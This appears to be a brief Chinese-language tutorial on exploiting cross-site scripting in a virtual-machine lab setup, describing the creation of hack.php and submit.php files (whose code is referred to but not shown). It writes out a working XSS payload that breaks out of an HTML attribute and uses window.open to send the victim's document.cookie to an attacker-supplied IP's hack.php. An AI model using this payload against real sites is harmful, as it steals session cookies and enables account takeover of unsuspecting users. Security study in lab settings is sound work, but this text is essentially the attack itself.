xss漏洞利用

 首先，我们先在文件夹找到www命名的文件夹里的html文件夹，在里面创建一个hack.php文件，输入这段代码，

然后，再创建一个submit.php文件

 

 然后，打开一个浏览器访问 192.168.xx.xxx(你的虚拟机的IP）/submit.php,然后进入到这个界面

在这个界面输入 "/> <script>window.open("http://（填入你的IP）/hack.php?cookie="+document.cookie);</script><!-- 

然后就成功了